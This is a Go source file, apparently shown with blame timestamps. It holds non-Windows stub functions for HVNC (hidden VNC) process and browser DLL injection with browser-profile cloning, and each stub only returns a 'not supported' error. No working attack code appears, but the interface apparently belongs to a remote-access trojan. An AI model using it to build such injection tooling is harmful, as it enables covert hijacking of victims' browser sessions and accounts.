2026-03-11 23:11:44 -05:00
|
|
|
//go:build !windows
|
|
|
|
|
|
|
|
|
|
package capture
|
|
|
|
|
|
|
|
|
|
import "errors"
|
|
|
|
|
|
|
|
|
|
func StartHVNCProcessInjected(filePath string, dllBytes []byte, searchPath, replacePath string) error {
|
|
|
|
|
return errors.New("HVNC injection not supported on this platform")
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
func StartHVNCChromeInjected(chromePath string, dllBytes []byte) error {
|
|
|
|
|
return errors.New("HVNC injection not supported on this platform")
|
|
|
|
|
}
|
|
|
|
|
|
2026-03-12 14:41:03 -05:00
|
|
|
type CloneProgressFunc func(percent int, copiedBytes, totalBytes int64, status string)
|
|
|
|
|
|
2026-03-14 20:11:47 -05:00
|
|
|
func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, clone bool, cloneLite bool, killIfRunning bool, onProgress CloneProgressFunc) error {
|
2026-03-11 23:11:44 -05:00
|
|
|
return errors.New("HVNC injection not supported on this platform")
|
|
|
|
|
}
|